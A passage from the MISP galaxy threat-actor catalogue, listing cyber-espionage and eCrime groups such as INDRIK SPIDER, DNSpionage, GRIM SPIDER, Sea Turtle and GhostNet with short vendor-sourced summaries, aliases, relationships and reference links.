INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.
The tag is: misp-galaxy:threat-actor="INDRIK SPIDER"
Links |
DNSpionage
Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it’s clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor’s infrastructure and TTPs, we haven’t been able to connect them with any other campaign or actor that’s been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let’s Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don’t know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.
The tag is: misp-galaxy:threat-actor="DNSpionage"
DarkVishnya
Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.
The tag is: misp-galaxy:threat-actor="DarkVishnya"
Links |
Operation Poison Needles
What’s noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.
The tag is: misp-galaxy:threat-actor="Operation Poison Needles"
Links |
GC01
From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).
The tag is: misp-galaxy:threat-actor="GC01"
GC01 is also known as:
-
Golden Chickens
-
Golden Chickens01
-
Golden Chickens 01
GC01 has relationships with:
-
similar: misp-galaxy:threat-actor="GC02" with estimative-language:likelihood-probability="likely"
Links |
GC02
From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).
The tag is: misp-galaxy:threat-actor="GC02"
GC02 is also known as:
-
Golden Chickens
-
Golden Chickens02
-
Golden Chickens 02
GC02 has relationships with:
-
similar: misp-galaxy:threat-actor="GC01" with estimative-language:likelihood-probability="likely"
Links |
Operation Sharpshooter
The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.
The tag is: misp-galaxy:threat-actor="Operation Sharpshooter"
Operation Sharpshooter has relationships with:
-
similar: misp-galaxy:threat-actor="Lazarus Group" with estimative-language:likelihood-probability="likely"
Links |
TA505
TA505, the name given by Proofpoint, has been in the cybercrime business for at least four years. This is the group behind the infamous Dridex banking trojan and Locky ransomware, delivered through malicious email campaigns via Necurs botnet. Other malware associated with TA505 include Philadelphia and GlobeImposter ransomware families.
The tag is: misp-galaxy:threat-actor="TA505"
TA505 is also known as:
-
SectorJ04 Group
GRIM SPIDER
GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.
The tag is: misp-galaxy:threat-actor="GRIM SPIDER"
Links |
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
WIZARD SPIDER
Wizard Spider is reportedly associated with Grim Spider and Lunar Spider. The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware. This group represents a growing criminal enterprise of which GRIM SPIDER appears to be a subset. The LUNAR SPIDER threat group is the Eastern European-based operator and developer of the commodity banking malware called BokBot (aka IcedID), which was first observed in April 2017. The BokBot malware provides LUNAR SPIDER affiliates with a variety of capabilities to enable credential theft and wire fraud, through the use of webinjects and a malware distribution function. GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past.
The tag is: misp-galaxy:threat-actor="WIZARD SPIDER"
WIZARD SPIDER is also known as:
-
TEMP.MixMaster
MUMMY SPIDER
MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware’s capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture. MUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version. After a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot. MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate
The tag is: misp-galaxy:threat-actor="MUMMY SPIDER"
MUMMY SPIDER is also known as:
-
TA542
-
Mummy Spider
STARDUST CHOLLIMA
Open-source reporting has claimed that the Hermes ransomware was developed by the North Korean group STARDUST CHOLLIMA (activities of which have been public reported as part of the “Lazarus Group”), because Hermes was executed on a host during the SWIFT compromise of FEIB in October 2017.
The tag is: misp-galaxy:threat-actor="STARDUST CHOLLIMA"
Links |
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/ |
Cold River
In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.
The tag is: misp-galaxy:threat-actor="Cold River"
Cold River is also known as:
-
Nahr Elbard
-
Nahr el bared
Links |
Silence group
a relatively new threat actor that’s been operating since mid-2016 Group-IB has exposed the attacks committed by Silence cybercriminal group. While the gang had previously targeted Russian banks, Group-IB experts also have discovered evidence of the group’s activity in more than 25 countries worldwide. Group-IB has published its first detailed report on tactics and tools employed by Silence. Group-IB security analysts' hypothesis is that at least one of the gang members appears to be a former or current employee of a cyber security company. The confirmed damage from Silence activity is estimated at 800 000 USD. Silence is a group of Russian-speaking hackers, based on their commands language, the location of infrastructure they used, and the geography of their targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although phishing emails were also sent to bank employees in Central and Western Europe, Africa, and Asia). Furthermore, Silence used Russian words typed on an English keyboard layout for the commands of the employed backdoor. The hackers also used Russian-language web hosting services.
The tag is: misp-galaxy:threat-actor="Silence group"
Silence group is also known as:
-
Silence
-
Silence APT group
Links |
https://reaqta.com/2019/01/silence-group-targeting-russian-banks/ |
APT39
APT39 was created to bring together previous activities and methods used by this actor, and its activities largely align with a group publicly referred to as "Chafer." However, there are differences in what has been publicly reported due to the variances in how organizations track activity. APT39 primarily leverages the SEAWEED and CACHEMONEY backdoors along with a specific variant of the POWBAT backdoor. While APT39’s targeting scope is global, its activities are concentrated in the Middle East. APT39 has prioritized the telecommunications sector, with additional targeting of the travel industry and IT firms that support it and the high-tech industry.
The tag is: misp-galaxy:threat-actor="APT39"
APT39 is also known as:
-
APT 39
-
Chafer
Siesta
FireEye recently looked deeper into the activity discussed in TrendMicro’s blog and dubbed the “Siesta” campaign. The tools, modus operandi, and infrastructure used in the campaign present two possibilities: either the Chinese cyber-espionage unit APT1 is perpetrating this activity, or another group is using the same tactics and tools as the legacy APT1. The Siesta campaign reinforces the fact that analysts and network defenders should remain on the lookout for known, public indicators and for shared attributes that allow security experts to detect multiple actors with one signature.
The tag is: misp-galaxy:threat-actor="Siesta"
Links |
Gallmaker
Symantec researchers have uncovered a previously unknown attack group that is targeting government and military targets, including several overseas embassies of an Eastern European country, and military and defense targets in the Middle East. This group eschews custom malware and uses living off the land (LotL) tactics and publicly available hack tools to carry out activities that bear all the hallmarks of a cyber espionage campaign. The group, which we have given the name Gallmaker, has been operating since at least December 2017, with its most recent activity observed in June 2018.
The tag is: misp-galaxy:threat-actor="Gallmaker"
Links |
https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group |
Boss Spider
Throughout 2018, CrowdStrike Intelligence tracked BOSS SPIDER as it regularly updated Samas ransomware and received payments to known Bitcoin (BTC) addresses. This consistent pace of activity came to an abrupt halt at the end of November 2018 when the U.S. DoJ released an indictment for Iran-based individuals Faramarz Shahi Savandi and Mohammad Mehdi Shah Mansouri, alleged members of the group.
The tag is: misp-galaxy:threat-actor="Boss Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Pinchy Spider
First observed in January 2018, GandCrab ransomware quickly began to proliferate and receive regular updates from its developer, PINCHY SPIDER, which over the course of the year established a RaaS operation with a dedicated set of affiliates. CrowdStrike Intelligence has recently observed PINCHY SPIDER affiliates deploying GandCrab ransomware in enterprise environments, using lateral movement techniques and tooling commonly associated with nation-state adversary groups and penetration testing teams. This change in tactics makes PINCHY SPIDER and its affiliates the latest eCrime adversaries to join the growing trend of targeted, low-volume/high-return ransomware deployments known as “big game hunting.” PINCHY SPIDER is the criminal group behind the development of the ransomware most commonly known as GandCrab, which has been active since January 2018. PINCHY SPIDER sells access to use GandCrab ransomware under a partnership program with a limited number of accounts. The program is operated with a 60-40 split in profits (60 percent to the customer), as is common among eCrime actors, but PINCHY SPIDER is also willing to negotiate up to a 70-30 split for “sophisticated” customers.
The tag is: misp-galaxy:threat-actor="Pinchy Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/ |
Guru Spider
Early in 2018, CrowdStrike Intelligence observed GURU SPIDER supporting the distribution of multiple crimeware families through its flagship malware loader, Quant Loader.
The tag is: misp-galaxy:threat-actor="Guru Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Salty Spider
Beginning in January 2018 and persisting through the first half of the year, CrowdStrike Intelligence observed SALTY SPIDER, developer and operator of the long-running Sality botnet, distribute malware designed to target cryptocurrency users.
The tag is: misp-galaxy:threat-actor="Salty Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Judgment Panda
This adversary is suspected of continuing to target upstream providers (e.g., law firms and managed service providers) to support additional intrusions against high-profile assets. In 2018, CrowdStrike observed this adversary using spear-phishing, URL 'web bugs' and scheduled tasks to automate credential harvesting.
The tag is: misp-galaxy:threat-actor="Judgment Panda"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Kryptonite Panda
One of the first observed adopters of the 8.t exploit document builder in late 2017, further KRYPTONITE PANDA activity was limited in 2018. Last known activity for this adversary occurred in June 2018 and involved suspected targeting of Cambodia.
The tag is: misp-galaxy:threat-actor="Kryptonite Panda"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Nomad Panda
In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.
The tag is: misp-galaxy:threat-actor="Nomad Panda"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Flash Kitten
This suspected Iran-based adversary conducted long-running SWC campaigns from December 2016 until public disclosure in July 2018. Like other Iran-based actors, the target scope for FLASH KITTEN appears to be focused on the MENA region.
The tag is: misp-galaxy:threat-actor="Flash Kitten"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Skeleton Spider
According to CrowdStrike, this actor is using FrameworkPOS, potentially buying access through Dridex infections.
The tag is: misp-galaxy:threat-actor="Skeleton Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Tiny Spider
According to CrowdStrike, this actor is using TinyLoader and TinyPOS, potentially buying access through Dridex infections.
The tag is: misp-galaxy:threat-actor="Tiny Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
Lunar Spider
According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution through Emotet infections. On March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors. Lunar Spider is reportedly associated withGrim Spider and Wizard Spider.
The tag is: misp-galaxy:threat-actor="Lunar Spider"
Ratpak Spider
In July 2018, the source code of Pegasus, RATPAK SPIDER’s malware framework, was anonymously leaked. This malware has been linked to the targeting of Russia’s financial sector. Associated malware, Buhtrap, which has been leaked previously, was observed this year in connection with SWC campaigns that also targeted Russian users.
The tag is: misp-galaxy:threat-actor="Ratpak Spider"
Links |
https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/ |
STOLEN PENCIL
ASERT has learned of an APT campaign, possibly originating from DPRK, we are calling STOLEN PENCIL that is targeting academic institutions since at least May 2018.
The tag is: misp-galaxy:threat-actor="STOLEN PENCIL"
Operation Kabar Cobra
The tag is: misp-galaxy:threat-actor="Operation Kabar Cobra"
APT-C-36
Since April 2018, an APT group (Blind Eagle, APT-C-36) suspected coming from South America carried out continuous targeted attacks against Colombian government institutions as well as important corporations in financial sector, petroleum industry, professional manufacturing, etc.
The tag is: misp-galaxy:threat-actor="APT-C-36"
APT-C-36 is also known as:
-
Blind Eagle
Links |
IRIDIUM
Resecurity’s research indicates that the attack on Parliament is a part of a multi-year cyberespionage campaign orchestrated by a nation-state actor whom we are calling IRIDIUM. This actor targets sensitive government, diplomatic, and military resources in the countries comprising the Five Eyes intelligence alliance (which includes Australia, Canada, New Zealand, the United Kingdom and the United States)
The tag is: misp-galaxy:threat-actor="IRIDIUM"
Links |
SandCat
SandCat, on the other hand, is a group that was discovered more recently by Kaspersky. One of the Windows vulnerabilities patched by Microsoft in December had been exploited by both FruityArmor and SandCat in attacks targeting the Middle East and Africa. SandCat has been using FinFisher/FinSpy spyware and CHAINSHOT, a piece of malware analyzed earlier this year by Palo Alto Networks. The group has also used the CVE-2018-8589 and CVE-2018-8611 Windows vulnerabilities in its attacks, both of which had a zero-day status when Microsoft released fixes.
The tag is: misp-galaxy:threat-actor="SandCat"
Links |
https://securelist.com/zero-day-in-windows-kernel-transaction-manager-cve-2018-8611/89253/ |
Operation Comando
Operation Comando is a pure cybercrime campaign, possibly with Brazilian origin, with a concrete and persistent focus on the hospitality sector, which proves how a threat actor can be successful in pursuing its objectives while maintaining a cheap budget. The use of DDNS services, publicly available remote access tools, and having a minimum knowledge on software development (in this case VB.NET) has been enough for running a campaign lasting month, and potentially gathering credit card information and other possible data.
The tag is: misp-galaxy:threat-actor="Operation Comando"
Links |
APT-C-27
On March 17, 2019, 360 Threat Intelligence Center captured a target attack sample against the Middle East by exploiting WinRAR vulnerability (CVE-2018-20250[6]), and it seems that the attack is carried out by the Goldmouse APT group (APT-C-27). There is a decoy Word document inside the archive regarding terrorist attacks to lure the victim into decompressing. When the archive gets decompressed on the vulnerable computer, the embedded njRAT backdoor (Telegram Desktop.exe) will be extracted to the startup folder and then triggered into execution if the victim restarts the computer or performs re-login. After that, the attacker is capable to control the compromised device.
The tag is: misp-galaxy:threat-actor="APT-C-27"
APT-C-27 is also known as:
-
GoldMouse
Links |
Operation ShadowHammer
Newly discovered supply chain attack that leveraged ASUS Live Update software. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation. We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack. Of course, there might be other samples out there with different MAC addresses in their list.
The tag is: misp-galaxy:threat-actor="Operation ShadowHammer"
Links |
Whitefly
In July 2018, an attack on Singapore’s largest public health organization, SingHealth, resulted in a reported 1.5 million patient records being stolen. Until now, nothing was known about who was responsible for this attack. Symantec researchers have discovered that this attack group, which we call Whitefly, has been operating since at least 2017, has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information.
The tag is: misp-galaxy:threat-actor="Whitefly"
Links |
https://www.symantec.com/blogs/threat-intelligence/whitefly-espionage-singapore |
Sea Turtle
This blog post discusses the technical details of a state-sponsored attack manipulating DNS systems. While this incident is limited to targeting primarily national security organizations in the Middle East and North Africa, and we do not want to overstate the consequences of this specific campaign, we are concerned that the success of this operation will lead to actors more broadly attacking the global DNS system. DNS is a foundational technology supporting the Internet. Manipulating that system has the potential to undermine the trust users have on the internet. That trust and the stability of the DNS system as a whole drives the global economy. Responsible nations should avoid targeting this system, work together to establish an accepted global norm that this system and the organizations that control it are off-limits, and cooperate in pursuing those actors who act irresponsibly by targeting this system.
The tag is: misp-galaxy:threat-actor="Sea Turtle"
Links |
Silent Librarian
Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. PhishLabs has been tracking this same threat group since late-2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks.
The tag is: misp-galaxy:threat-actor="Silent Librarian"
Silent Librarian is also known as:
-
COBALT DICKENS
-
Mabna Institute
-
TA407
APT31
FireEye characterizes APT31 as an actor specialized on intellectual property theft, focusing on data and projects that make a particular organization competetive in its field. Based on available data (April 2016), FireEye assesses that APT31 conducts network operations at the behest of the Chinese Government.
The tag is: misp-galaxy:threat-actor="APT31"
APT31 is also known as:
-
APT 31
-
ZIRCONIUM
Links |
https://duo.com/decipher/apt-groups-moving-down-the-supply-chain |
Blackgear
BLACKGEAR is an espionage campaign which has targeted users in Taiwan for many years. Multiple papers and talks have been released covering this campaign, which used the ELIRKS backdoor when it was first discovered in 2012. It is known for using blogs and microblogging services to hide the location of its actual command-and-control (C&C) servers. This allows an attacker to change the C&C server used quickly by changing the information in these posts. Like most campaigns, BLACKGEAR has evolved over time. Our research indicates that it has started targeting Japanese users. Two things led us to this conclusion: first, the fake documents that are used as part of its infection routines are now in Japanese. Secondly, it is now using blogging sites and microblogging services based in Japan for its C&C activity.
The tag is: misp-galaxy:threat-actor="Blackgear"
Blackgear is also known as:
-
Topgear
-
Comnie
-
BLACKGEAR
Links |
BlackOasis
BlackOasis is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. A group known by Microsoft as NEODYMIUM is reportedly associated closely with BlackOasis operations, but evidence that the group names are aliases has not been identified.
The tag is: misp-galaxy:threat-actor="BlackOasis"
BlackTech
BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong. Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology. Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear. PLEAD is an information theft campaign with a penchant for confidential documents. Active since 2012, it has so far targeted Taiwanese government agencies and private organizations. PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool. PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO. PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server. This virtual server will be used either as a C&C server or an HTTP server that delivers PLEAD malware to their targets.
The tag is: misp-galaxy:threat-actor="BlackTech"
Links |
https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/ |
FIN5
FIN5 is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian.
The tag is: misp-galaxy:threat-actor="FIN5"
Links |
FIN10
FireEye has observed multiple targeted intrusions occurring in North America — predominately in Canada — dating back to at least 2013 and continuing through at least 2016, in which the attacker(s) have compromised organizations’ networks and sought to monetize this illicit access by exfiltrating sensitive data and extorting victim organizations. In some cases, when the extortion demand was not met, the attacker(s) destroyed production Windows systems by deleting critical operating system files and then shutting down the impacted systems. Based on near parallel TTPs used by the attacker(s) across these targeted intrusions, we believe these clusters of activity are linked to a single, previously unobserved actor or group that we have dubbed FIN10.
The tag is: misp-galaxy:threat-actor="FIN10"
Links |
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf |
GhostNet
Cyber espionage is an issue whose time has come. In this second report from the Information Warfare Monitor, we lay out the findings of a 10-month investigation of alleged Chinese cyber spying against Tibetan institutions. The investigation, consisting of fieldwork, technical scouting, and laboratory analysis, discovered a lot more. The investigation ultimately uncovered a network of over 1,295 infected hosts in 103 countries. Up to 30% of the infected hosts are considered high-value targets and include computers located at ministries of foreign affairs, embassies, international organizations, news media, and NGOs. The Tibetan computer systems we manually investigated, and from which our investigations began, were conclusively compromised by multiple infections that gave attackers unprecedented access to potentially sensitive information. Attacks on the Dalai Lama’s Private Office The OHHDL started to suspect it was under surveillance while setting up meetings be-tween His Holiness and foreign dignitaries. They sent an email invitation on behalf of His Holiness to a foreign diplomat, but before they could follow it up with a courtesy telephone call, the diplomat’s office was contacted by the Chinese government and warned not to go ahead with the meeting. The Tibetans wondered whether a computer compromise might be the explanation; they called ONI Asia who called us. (Until May 2008, the first author was employed on a studentship funded by the OpenNet Initiative and the second author was a principal investigator for ONI.)
The tag is: misp-galaxy:threat-actor="GhostNet"
GhostNet is also known as:
-
Snooping Dragon
Links |
GozNym
IBM X-Force Research uncovered a Trojan hybrid spawned from the Nymaim and Gozi ISFB malware. It appears that the operators of Nymaim have recompiled its source code with part of the Gozi ISFB source code, creating a combination that is being actively used in attacks against more than 24 U.S. and Canadian banks, stealing millions of dollars so far. X-Force named this new hybrid GozNym. The new GozNym hybrid takes the best of both the Nymaim and Gozi ISFB malware to create a powerful Trojan. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers. The end result is a new banking Trojan in the wild.
The tag is: misp-galaxy:threat-actor="GozNym"
Group5
A threat actor using Iranian-language tools, Iranian hosting companies, operating from the Iranian IP space at times was observed targeting the Syrian opposition in an elaborately staged malware operation, Citizen Lab researchers reveal. The operation was first noticed in late 2015, when a member of the Syrian opposition flagged a suspicious email containing a PowerPoint slideshow, which led researchers to a watering hole website with malicious programs, malicious PowerPoint files, and Android malware. The threat actor was targeting Windows and Android devices of well-connected individuals in the Syrian opposition, researchers discovered. They called the actor Group5, because it targets Syrian opposition after regime-linked malware groups, the Syrian Electronic Army, ISIS (also known as the Islamic State or ISIL), and a group linked to Lebanon did the same in the past
The tag is: misp-galaxy:threat-actor="Group5"
Links |
https://www.securityweek.com/iranian-actor-group5-targeting-syrian-opposition |
Honeybee
McAfee Advanced Threat Research analysts have discovered a new operation targeting humanitarian aid organizations and using North Korean political topics as bait to lure victims into opening malicious Microsoft Word documents. Our analysts have named this Operation Honeybee, based on the names of the malicious documents used in the attacks. Advanced Threat Research analysts have also discovered malicious documents authored by the same actor that indicate a tactical shift. These documents do not contain the typical lures by this actor, instead using Word compatibility messages to entice victims into opening them. The Advanced Threat Research team also observed a heavy concentration of the implant in Vietnam from January 15–17.
The tag is: misp-galaxy:threat-actor="Honeybee"
Links |
Lucky Cat
A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of effort required to successfully compromise a target and steal sensitive information. The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack. It is a case of the attackers obtaining a maximum return on their investment. The attack shows how an intelligent attacker does not need to be particularly technically skilled in order to steal the information they are after. The attack begins, as is often the case, with an email sent to the victim. A malicious document is attached to the email, which, when loaded, activates the malware. The attackers use tailored emails to encourage the victim to open the email. For example, one email sent to an academic claimed to be a call for papers for a conference (CFP). The vast majority of the victims were based in India, with some in Malaysia. The victim industry was mostly military research and also shipping based in the Arabian and South China seas. In some instances the attackers appeared to have a clear goal, whereby specific files were retrieved from certain compromised computers. In other cases, the attackers used more of a ‘shotgun’ like approach, copying every file from a computer. Military technologies were obviously the focus of one particular attack with what appeared to be source code stolen. 45 different attacker IP addresses were observed. Out of those, 43 were within the same IP address range based in Sichuan province, China. The remaining two were based in South Korea. The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous.ænThe attacks have been active from at least April 2011 up to February 2012. The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain. They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.
The tag is: misp-galaxy:threat-actor="Lucky Cat"
Links |
RTM
There are several groups actively and profitably targeting businesses in Russia. A trend that we have seen unfold before our eyes lately is these cybercriminals’ use of simple backdoors to gain a foothold in their targets’ networks. Once they have this access, a lot of the work is done manually, slowly getting to understand the network layout and deploying custom tools the criminals can use to steal funds from these entities. Some of the groups that best exemplify these trends are Buhtrap, Cobalt and Corkow. The group discussed in this white paper is part of this new trend. We call this new group RTM; it uses custom malware, written in Delphi, that we cover in detail in later sections. The first trace of this tool in our telemetry data dates back to late 2015. The group also makes use of several different modules that they deploy where appropriate to their targets. They are interested in users of remote banking systems (RBS), mainly in Russia and neighboring countries.
The tag is: misp-galaxy:threat-actor="RTM"
Links |
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf |
Shadow Network
Shadows in the Cloud documents a complex ecosystem of cyber espionage that systematically compromised government, business, academic, and other computer network systems in India, the Offices of the Dalai Lama, the United Nations, and several other countries. The report also contains an analysis of data which were stolen from politically sensitive targets and recovered during the course of the investigation. These include documents from the Offices of the Dalai Lama and agencies of the Indian national security establishment. Data containing sensitive information on citizens of numerous third-party countries, as well as personal, financial, and business information, were also exfiltrated and recovered during the course of the investigation. The report analyzes the malware ecosystem employed by the Shadows’ attackers, which leveraged multiple redundant cloud computing systems, social networking platforms, and free web hosting services in order to maintain persistent control while operating core servers located in the People’s Republic of China (PRC). Although the identity and motivation of the attackers remain unknown, the report is able to determine the location (Chengdu, PRC) as well as some of the associations of the attackers through circumstantial evidence. The investigation is the product of an eight month, collaborative activity between the Information Warfare Monitor (Citizen Lab and SecDev) and the Shadowserver Foundation. The investigation employed a fusion methodology, combining technical interrogation techniques, data analysis, and field research, to track and uncover the Shadow cyber espionage network.
The tag is: misp-galaxy:threat-actor="Shadow Network"
Links |
https://citizenlab.ca/wp-content/uploads/2017/05/shadows-in-the-cloud.pdf |
Slingshot
